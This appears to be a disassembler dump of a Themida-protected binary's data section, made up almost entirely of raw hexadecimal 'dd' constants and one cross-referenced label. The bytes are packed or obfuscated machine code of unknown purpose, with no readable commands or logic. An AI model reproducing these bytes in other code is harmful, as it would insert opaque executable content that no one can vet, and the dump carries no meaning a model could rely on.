		dd 681h, 75BD8900h, 66061516h, 0B11FDB81h, 0BF99858Dh
		dd 95890618h, 6151DF1h,	870F50h, 89000000h, 8B602404h
		dd 0F1BD8BD1h, 61061519h, 0FDB58B60h, 0F9061510h, 0AD95FF61h
		dd 6A06150Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 77A7C351h, 58196715h, 61DF8B66h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 95C35141h
		dd 5F5851B1h, 85C73716h, 6151115h, 3, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 19C35545h, 0ED4C0499h, 2BD2E2F1h
		dd 99BD83F5h, 618BFh, 17840Fh, 8D0F0000h, 6, 1A35BD23h
		dd 21E90615h, 8B000000h, 15017D9Dh, 0C305006h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 25C35545h, 0E08C30A8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EDC35242h, 65D3AA5Ah
		dd 0B04454AAh, 0F5051DAh, 8Dh, 835B5B00h, 151115BDh, 850F0306h
		dd 3D7h, 0DC40D781h, 0BD831521h, 618BF99h, 0C4840F00h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 1FF1C350h, 0ED5FB511h,	6E8D2h
		dd 2F580000h, 18422978h, 1A1D9D8Bh, 665F0615h, 0FFB31BBBh
		dd 18BF99B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0F971D46Bh, 95FFCC09h, 61510E1h
		dd 0B58BDF8Bh, 618BF8Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 6DC35141h, 0F4543F3h,	6C7FFBFh, 10001h
		dd 2E4866BFh, 50A8B36Bh, 0A49CBB66h, 6A243489h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 41C4C357h, 99B5FFF9h, 6A0618BFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C4A2C356h
		dd 0D9B2E4A0h, 0A195FF40h, 89061506h, 151CC5B5h, 8DB58B06h
		dd 0F0618BFh, 38Ah, 86CB8000h, 59858Bh,	0FA8B0615h, 0C48689h
		dd 0BD8B0000h, 6150879h, 958BFA8Ah, 6152721h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D8C35343h, 3E3613D3h
		dd 6199DC48h, 5840Fh, 7FBF0000h, 830674A7h, 0BB6604C2h
		dd 50898BEFh, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0FF49D46h, 0C8Bh,	7E900h,	0B5BD0000h
		dd 0F3413013h, 58858D77h, 6A0618D4h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 837BC351h
		dd 909B1A65h, 44B0BBDCh, 8689705Ch, 0B8h, 1781BD03h, 6A0615h
		dd 0BF99B5FFh, 6A0618h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8B3EA8C3h, 8A0F51FEh, 6,	8D0Fh
		dd 0FF5B0000h, 151D4D95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 7F37BF93h
		dd 0E8506A33h, 0Fh, 0F1994CD0h,	0CCBC4AF6h, 5951A077h
		dd 0E9909A6Bh, 0Ch, 79E63817h, 0A2C674F7h, 0D0FD14BAh
		dd 2434895Bh, 0CE9h, 92CF2000h,	4E1BC64Fh, 6398945Dh, 99B5FFE4h
		dd 290618BFh, 15175995h, 2995FF06h, 83061507h, 150065BDh
		dd 840F0006h
		dd 55h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h
		dd 0D7C35646h, 7A823285h, 22358D89h, 0E9960615h, 9, 0ABA2F1ADh
		dd 53FB3832h, 52505017h, 7E950h, 0D71D0000h, 0A70BC7C4h
		dd 310F5F07h, 5396585Ah, 880F60h, 61000000h, 99B5FF5Bh
		dd 8B0618BFh, 1505859Dh, 3995FF06h, 0F061504h, 0B5FFFAB7h
		dd 618BF99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	7BC35545h, 0ABB7F2EBh, 0DCD95FFh, 0BD830615h, 615285Dh
		dd 79840F02h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0B775C352h,	8B15ABBBh
		dd 15284985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 820F78B4h, 7, 1850Fh, 0E8F80000h
		dd 10h,	32F77749h, 0E3498F2Ch, 0C00DDB15h, 394F2B03h, 16C9B529h
		dd 0C65B0615h, 5E90000h, 5A000000h, 0FAD0B85Fh,	23F585C7h
		dd 615h, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 1D0424h, 52420000h, 71597C3h, 153F01FFh, 0E97F151Fh
		dd 0FFFFF327h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0CC35747h, 0C34CB249h, 918C6F9Dh, 0FE8B6636h, 0C380C18Bh
		dd 9D858D7Eh, 6A061527h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 6BE8C357h, 415DFD1Bh
		dd 5DBD8B96h, 5006150Ch, 89DE8B66h, 95012404h, 615263Dh
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 6A4CC3h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0EDC35141h, 0DDDB0591h, 0DE9h, 278A0200h
		dd 6328507Fh, 1CCE2B34h, 858DD06Dh, 61A39CDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 90C35646h, 8D89B291h
		dd 61525FDh, 6A05C083h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 5E30C351h, 519D8BCEh
		dd 60061501h, 23D9D01h,	800F0615h, 6, 25ED9589h, 50610615h
		dd 66605250h, 850FDF8Bh, 0
		dd 50310F61h, 11E3BB52h, 310F2FB7h, 6E8h, 23CE0800h, 5B8FABE5h
		dd 585A585Ah, 80240489h, 6AABDFh, 160D9D8Bh, 6A0615h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FAC35242h, 25439360h
		dd 9EB3C1B1h, 267995FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 4F1F2FC3h, 0F89B82EDh
		dd 0FBEDC77h, 681h, 85BD2B00h, 8D061508h, 189C158Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 8B42FA80h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 5CBF14C3h, 50DB3234h, 11E9h, 584A4A00h
		dd 0D352302Eh, 730D342Dh, 73306ADh, 0BD8311FDh,	6152DB5h
		dd 4D850F01h, 8B000000h, 1505C9BDh, 6A026A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0EE78C356h, 5283F2DEh, 66F88BB4h, 5250D98Bh,	6810Fh
		dd 8E0F0000h, 0
		dd 2404895Bh, 1D4D95FFh, 9D890615h, 6150101h, 0D92E9h
		dd 0E800h, 815D0000h, 1A39D7EDh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 33564A37h
		dd 1512A5BDh, 6A5B06h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 601FBAC3h, 0F9858D8Eh, 6A061888h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0B74CC357h, 800F50F0h, 2,	48990B3h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0FBEEFFAEh, 0FA4F279h, 0FF64DEBFh, 35h, 0DBD8B00h, 64061510h
		dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 51537DC3h, 667718AAh, 0DCA9EF81h
		dd 7D958B60h, 66061527h, 6100EDB8h, 153585FFh, 0D7810615h
		dd 3B7106C6h, 9D8BFF6Ah, 615233Dh, 33A9B5FFh, 6A0615h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0D969C9C3h, 0FE8B778Dh, 8BD95FFh, 0F6E90615h, 66000000h
		dd 0B0D88Bh, 231D8D29h,	70E60615h, 7E8h, 467A2500h, 0CFC9B029h
		dd 5FFB8B66h, 9D8971E4h, 6151D2Dh, 830F613Ch, 0C9h, 0FDA8B66h
		dd 0FB8BC8B6h, 6BAh, 8B2BB300h,	0ADDB80C1h, 104E8C1h, 151081BDh
		dd 0E2F76606h, 0CAD9D89h, 0C82B0615h, 6890Fh, 0BD8B0000h
		dd 615179Dh, 0B589D18Bh, 6152471h, 88E9h, 0CD9D8B00h, 8B061524h
		dd 47554C85h, 3D9D8B49h, 8306152Bh, 816607C0h, 8331C5F7h
		dd 0CE900C0h, 6E000000h, 0B927F45Dh, 0A8440C9Eh, 3BF5F839h
		dd 14830FD0h, 57000000h, 0F95BDD8Ah, 48E9h, 48B0F00h, 66000000h
		dd 8BE509BBh, 0FFFFFF8Dh, 9D9D8BFFh, 83061526h,	840F01E1h
		dd 29h,	33E9BD8Bh, 0DA8B0615h, 0FFFFA583h, 0FFEFFFFh, 9589FEBFh
		dd 4947554Ch, 5318D89h,	0BD8B0615h, 6151A21h, 0E9h, 7BB58D00h
		dd 6A0619B4h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 97F9C355h, 1DC2565Bh, 6A9C47h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 63C35242h
		dd 2CAD3158h, 2D019D8Bh, 9D890615h, 6150295h, 2E2195FFh
		dd 0F98B0615h, 0A459D8Bh, 20B90615h, 6A000010h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F05C357h, 0E183DFBFh, 699529FCh, 0FC061515h, 34158D89h
		dd 0B80615h, 8B000000h,	1528199Dh, 0BA06h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0B48686C3h, 5A9B54FFh, 0B5892108h, 61533C1h,	819D8Bh
		dd 33AD0615h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0DB3B86C3h
		dd 601D4FBh, 6A46DC1Fh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 8EADC350h, 0CDC98ED6h
		dd 0FA8AD880h, 880Dh, 3850F00h,	57000000h, 95015FF5h, 61533E9h
		dd 2721958Bh, 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8B3A6CC3h, 152259BDh, 259D0306h
		dd 8B061529h, 1504CD8Dh, 0AD9D8B06h, 5006152Dh,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 2C63A019h
		dd 0F3DADFCEh, 81503046h, 3286A2D3h, 8D895F15h,	615168Dh
		dd 69BD3357h, 5F061518h, 18A9BD83h, 0F000615h, 7984h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0A3F5D5C3h, 0DE908h,	0DC4F0000h, 7D3D5CD6h, 0FC786CCDh
		dd 0B84D88FDh, 0
		dd 800Fh, 8D8D0000h, 6154F9Eh, 2F2DB589h, 0C3800615h, 6AE1FFE5h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 65C5C351h, 0BD89D06Ch, 6150FD9h, 23259D8Bh
		dd 0BD830615h, 6151115h, 4A840F00h, 6A000004h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0C5BDC352h, 932F3949h, 459D8BE0h, 8306152Bh,	151115BDh
		dd 840F0106h, 430h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 7DC35343h, 1115BD83h,	0F030615h, 3D186h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0CE7E1C51h, 5E1BB639h, 1A11BD8Bh, 6A600615h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7616C357h, 17F5E43h, 66A423BFh, 66D09CBBh
		dd 0BE9D98Ch, 9E000000h, 37DEEDB3h, 4076958Dh, 8166AA40h
		dd 805739D7h, 0DE8A04E1h, 840FC90Ah, 103h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8FC35545h, 0E960439Dh
		dd 0Ch,	507B9DB7h, 60611314h, 550A01F0h, 61F28B66h, 249D858Bh
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 665D10C3h, 8533F88Bh, 61519B5h, 23D9D8Bh
		dd 66500615h, 895B97BBh, 6A2404h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 12C35040h, 0DAC255A9h, 7F571CF8h
		dd 68B0F60h, 89000000h,	150FF59Dh, 5D686106h, 0F6AF435h
		dd 1288h, 0DE900h, 9CD40000h, 7DCA1BC2h, 4EB9F724h, 819AC313h
		dd 36A22434h, 0DF816AEBh, 2ABB0A95h, 0DAD95FFh,	0BE90615h
		dd 56000000h, 4C13B1E7h, 62B365D2h, 8589CC7Dh, 618BF99h
		dd 0BE9h, 64D6F400h, 5939FBAEh,	75E2D203h, 1F1E9h, 6FD78100h
		dd 8B7DB71Eh, 18BF9185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 6BEEAF67h, 58BF30F1h
		dd 1F9B531h, 0C70615h, 18h, 9D895760h, 6151041h, 0B58B6158h
		dd 618BF95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	8C35040h, 667C2C59h, 0C45858Bh,	0F8560615h, 1595895Fh
		dd 8906150Ah, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 9C7A1B52h, 0ADBD8988h, 66061505h
		dd 858BD88Bh, 615249Dh,	0E83EBF66h, 6A044689h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 4854C353h, 880F9602h, 10h, 0AE8h, 15E92B00h,	9160C899h
		dd 5BF00BA2h, 7E850h, 4F990000h, 529DACC7h, 7ABF661Eh
		dd 6A965BAEh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 8301C355h, 4AC79DABh, 9529F453h
		dd 61515E1h, 0BF91B5FFh, 81660618h, 68EE86CBh, 9DFDB84Fh
		dd 481DC8Ah, 214BB024h,	56006A62h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 43861F70h, 73FB18AEh
		dd 13E8C3h, 0B9BD0000h,	36DDB934h, 711E190h, 0BAEAAA3Bh
		dd 0EE9CA00Ch, 0D781601Ah, 1A216344h, 3C5B501h,	5B610615h
		dd 29798D01h, 858D0615h, 618BF99h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0F5C35141h,	0F6A704AAh, 5F579570h
		dd 20ED8589h, 81660615h, 90DA6AF3h, 50F98B66h, 0FE8h, 0FEA7FC00h
		dd 133BFEF5h, 42BE833Eh, 2A3A727h, 905FA8B3h, 19899501h
		dd 95FF0615h, 6150DADh,	8218D89h, 81610615h, 6F4785C7h
		dd 1585C74Dh, 3061511h,	8B000000h, 0B5BD8BF8h, 8306152Ah
		dd 18BF99BDh, 840F0006h, 46h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0CCC35141h,	0E905B7D2h, 3Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 64C35141h
		dd 28998529h, 30500615h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 33D88AA8h, 151E71BDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 2EE4CC7Bh, 83F9F244h, 151115BDh,	850F0306h
		dd 3D6h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	0D8C35040h, 94953B28h, 0F8AA3F90h, 0BF99BD83h
		dd 0F000618h, 3A584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0E1950152h, 8B061526h
		dd 152DD1BDh, 99B5FF06h, 6A0618BFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E97BC356h
		dd 0Dh,	24BB1240h, 973D3EA5h, 0EFB3407Fh, 0E195FFB3h, 6A061510h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8B02C357h, 18BF8DB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0DBBF0F64h
		dd 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0A435DEC3h, 2C3B319Eh, 60253766h
		dd 2EC18D01h, 0BD890615h, 6152489h, 8B519661h, 0F505BFAh
		dd 587h, 0BE30BF00h, 6A966F3Ah,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 2877C350h, 4F220240h
		dd 6860F56h, 89000000h,	152DDDBDh, 99B5FF06h, 6A0618BFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 4D54C355h, 0FFFABF0Fh, 1506A195h,	559D8906h
		dd 8B06152Ah, 18BF8DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0CC4E2855h, 0A257249h
		dd 858B2491h, 6150059h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 7CC35040h, 0F3D08752h, 0E28AEF54h, 0C48689F5h
		dd 8B000000h, 21958BDAh, 66061527h, 7C40C781h, 8B04C283h
		dd 1533B1BDh, 20508906h, 6E9h, 5C3B8100h, 8D144F50h, 18D45885h
		dd 6DBD8906h, 89061519h, 0B886h, 0FDB58900h, 6A06150Ch
		dd 0FFFC8A00h, 18BF99B5h, 0F937BF06h, 95FF3E84h, 6151D4Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FFC35242h
		dd 0EB02EB2Bh, 18E944FBh, 0DE86Ch, 5FDD0000h, 13626145h
		dd 7B52A837h, 8146E1DFh, 4D9D8D7h, 0A1BB5F0Bh, 5061B451h
		dd 348972B3h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0FD2CC835h, 5FCB81F8h, 892F60BEh
		dd 1526659Dh, 99B5FF06h, 660618BFh, 0FF8329BBh,	15072995h
		dd 65BD8306h, 61500h, 5F840Fh, 0BD8B0000h, 61518BDh, 8E850FCh
		dd 4E000000h, 39C81815h, 0FAB66D8h, 1989h, 14E900h
		dd 8CEC0000h, 500DEB1Ch, 84CC9BF6h, 0C1043C83h,	0E523CE08h
		dd 895B8FABh, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 8B3AB9C3h, 0A9E54939h, 8BF598E6h
		dd 99B5FFFEh, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 9FB0C356h, 0C2166017h
		dd 2625B589h, 95FF0615h, 6150439h, 0E47F47BBh, 99B5FF57h
		dd 90618BFh, 1503658Dh,	2800F06h, 8B000000h, 0CD95FFD9h
		dd 6A06150Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0C248C352h, 21935E0Fh,	2913BBFFh
		dd 1510ED85h, 5DBD8306h, 2061528h, 20840Fh, 0BF0F0000h
		dd 49858BDAh, 60061528h, 0B5D18166h, 0C661F5D7h, 9D8B0000h
		dd 6150081h, 0DB19589h,	85C70615h, 61523F5h, 0
		dd 19B99D8Bh, 0C1E90615h, 6AFFFFF3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 39C6C350h
		dd 0C042C17Eh, 0C18B006Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0BDC35747h, 5B122004h, 0DD168583h, 659D8BFDh
		dd 0F061528h, 68Eh, 0AD9D8B00h,	0E8061505h, 10h, 42A032C3h
		dd 0DD6FD429h, 3727525Ch, 0AC79ADACh, 2FD18166h, 0BAB25EB7h
		dd 75A3C681h, 0BE80000h, 0F9000000h, 0AF0CB730h, 0C3715E3Dh
		dd 860F43B0h, 6, 0DE5BD29h, 0B85A0615h,	0
		dd 123ED0BFh, 3034FF3Fh, 38D8D8Bh, 0E85B0615h, 9, 75FDC3ECh
		dd 976AC6Ah, 0D08B6693h, 4DEB815Fh, 91886ACh, 151291BDh
		dd 48EB8106h, 66552248h, 81A38BBAh, 0F81405C3h,	0EE8530Dh
		dd 6C000000h, 0F06B9F14h, 49A834A2h, 8344C586h,	48F5F7Ch
		dd 0E025B906h, 0DE92B4Fh, 5C000000h, 0F7B41ECFh, 8E6C7B49h
		dd 47B4AE07h, 0BF9EE881h, 85013234h, 61508F1h, 0BF9AC081h
		dd 81F93234h, 0FF8B24F8h, 7A850FFFh, 0BAFFFFFFh, 0F0113000h
		dd 0EA81h, 0C283F000h, 99958914h, 8306152Fh, 858D14EAh
		dd 61A48DAh, 35FF6450h,	0
		dd 258964h, 0E8000000h,	0
		db 'X+Â%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 318589C8h, 3061500h,	0B70F3C40h, 95890650h, 6151D79h
		dd 8950508Bh, 15023195h, 0F80506h, 508B0000h, 89D1030Ch
		dd 15119D95h, 8500306h,	99D9589h, 8F640615h, 5,	4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 9CDBD83h, 0F000615h,	2484h, 0C585C600h, 47061509h, 9AA7D268h
		dd 11B5FFD4h, 8D061528h, 1872BC85h, 6AD0FF06h, 89D0FF00h
		dd 150A3D85h, 8DD38B06h, 1A49CC8Dh, 0A1958906h,	5106150Ah
		dd 8D895BF9h, 6152721h,	11F9BD03h, 85C70615h, 61504CDh
		dd 70E8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0A5C35242h, 20C5B58Bh, 85C70615h, 6151115h, 0
		dd 0AE8h, 0BEB1F800h, 0C7C806E0h, 0FC5254Fh, 281h, 5A5B5000h
		dd 2E0DB5FFh, 9D0B0615h, 6152401h, 2C995FFh, 6A0615h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 64958BC3h, 3CDA0E67h, 9D893C8Dh, 615073Dh, 95FF006Ah
		db 21h,	2Eh, 15h
byte_5CE3FB	db 6			; DATA XREF: Themida_:0057A16Co
					; Themida_:0057C6C0o
		dd 7CEBC08Bh, 2701571Eh, 7DADC83Ch, 35F3DFFDh, 1D2181A7h
		dd 0CAAD6F64h, 1A3066DFh, 7E29DCF8h, 1E131B31h,	603D7150h
		dd 0CAC985FCh, 0A2727453h, 0F8B9A9AEh, 249F0775h, 0CFDA9389h
		dd 442B9A2Ch, 0E988B999h, 0C846BB64h, 0A9286687h, 24101CA3h
		dd 8279EBD8h, 5898D3AFh, 0CA6533CCh, 4C7EAA07h,	53F20ECFh
		dd 0CA7127BCh, 0C772C3EBh, 210AA99h, 89118BD2h,	4798F8E6h
		dd 0AAC11651h, 25E51D28h, 4B338D8Dh, 6A061Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 63BDA8C3h
		dd 958BF7BBh, 6150975h,	27218D89h, 6A0615h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66A5A2C3h
		dd 8E0FD38Bh, 3, 0C7F6BF0Fh, 1504CD85h,	69F006h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 33057974h, 2BEEBCCCh, 150429BDh, 0C7DAB006h,	15111585h
		dd 6, 9D896000h, 6152C91h, 28E0Fh, 61600000h, 0BDB5FF61h
		dd 6A06152Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 1BE0C352h, 8372A7D0h, 362662D2h
		dd 0DDC28166h, 0C995FFF6h, 6A061502h, 2195FF00h, 8B06152Eh
		dd 891BEBC0h, 9228A9EFh, 0EC3681C2h, 8A147985h,	3CAF2519h
		dd 0CC67C2B0h, 7BCDB2B0h, 17E9E320h, 7E000000h,	763BB0h
		dd 4 dup(0)
		dd 3E90000h, 98000005h,	58C7AE1Eh, 978C69D9h, 60CFA616h
		dd 8EA570E0h, 0C2D9BC2Ch, 0E454D6C9h, 2D9D2211h, 0E959DB48h
		dd 2494170Ch, 0ED588651h, 169CB9A4h, 2476C647h,	525F57C7h
		dd 0A0BE80F0h, 86F2FC25h, 65AE7F10h, 0ADA29404h, 281AEBDh
		dd 2C8FA492h, 8697ABCh,	9B029E98h, 0C0309334h, 1D7EFE35h
		dd 86F263A6h, 16390A10h, 4201DB7Fh, 1086F21Fh, 0F280C97Ch
		dd 5A6B1086h, 3861E4E6h, 0C31086F2h, 0FC2DDDF2h, 0E54E1080h
		dd 0BD771383h, 0E3D343A4h, 4500DEE0h, 1086F21Ch, 751CCEDFh
		dd 8FFF7D4Ah, 0E84F64E6h, 22A19278h, 0F2DF02C1h, 8D9E1086h
		dd 10C0B9AAh, 0F3DCE639h, 4D1C40C3h, 0D75E1086h, 0D8DC61E8h
		dd 357E97A8h, 82A248B8h, 72h, 57C72496h, 0F2BFE45Fh, 3ABB1086h
		dd 0EE525F93h, 5E71E162h, 8836758h, 97A81AA5h, 0A2Bh, 40342100h
		dd 9166E511h, 24A58D7Dh, 288955C5h, 615E58C8h, 9BC18B89h
		dd 86F2E128h, 1C9F8C10h, 2AE783ACh, 44B43BC7h, 64527D52h
		dd 6579E94Fh, 0F285CC77h, 84FF1086h, 38572391h,	0A94152CEh
		dd 416CF36Bh, 0ABB32386h, 0D9B12186h, 960665BAh, 0C62439FFh
		dd 6748B83Ah, 4FBF422Fh, 51C1426Fh, 0D5BC7BB9h,	0FC5DDDEAh
		dd 64C131B7h, 1086F23Dh, 74CFEFC0h, 1086F22Dh, 45D0FFD0h
		dd 411D8DEEh, 462494F0h, 0EA5ADBC8h, 0FCE34EACh, 0A81C104Dh
		dd 845897h, 5D560000h, 9C806ADAh, 6056C624h, 48B8357Eh
		dd 4251636Fh, 7119AF98h, 61E445C0h, 1086E638h, 0D9DDF2C3h
		dd 390C6DC8h, 1086E610h, 0B1E5CADBh, 1CF799E4h,	868DD410h
		dd 7E82B424h, 753BA817h, 0AA08BFEEh, 66C45B3Ah,	0C9E656DAh
		dd 41D6FFCDh, 5F86089h,	9C1C0DFDh, 2990EA2Ch, 3B1B3CB6h
		dd 0BA7CB2FAh, 237635D5h, 8997A8A3h, 2Dh, 56C6249Dh, 0B4357E60h
		dd 765A644h, 73269F97h,	87F77B4Ch, 0C5244AEEh, 0BAE26155h
		dd 0B81086F2h, 2EBB8E41h, 0B697A81Ah, 1, 59C924D2h, 446D6F5Dh
		dd 8BCE77E7h, 721086F2h, 0EB48C9A1h, 0C3263B7Bh, 0E94E6353h
		dd 137A3D79h, 0A70E37ACh, 0A22E8F38h, 0F99CB323h, 1DD0DB1h
		dd 0E454D6DBh, 0D343C1B2h, 3E63E2FCh, 0BD1086F2h, 879FFEECh
		dd 34169BFCh, 0C0A7AFFh, 56675733h, 80F05360h, 0E74869F5h
		dd 15969377h, 0BBBC99A5h, 0B82BEABEh, 1FA6907Ah, 169377F8h
		dd 1BAC1386h, 0D64D2898h, 0C0B1E555h, 24E3D343h, 2685426Dh
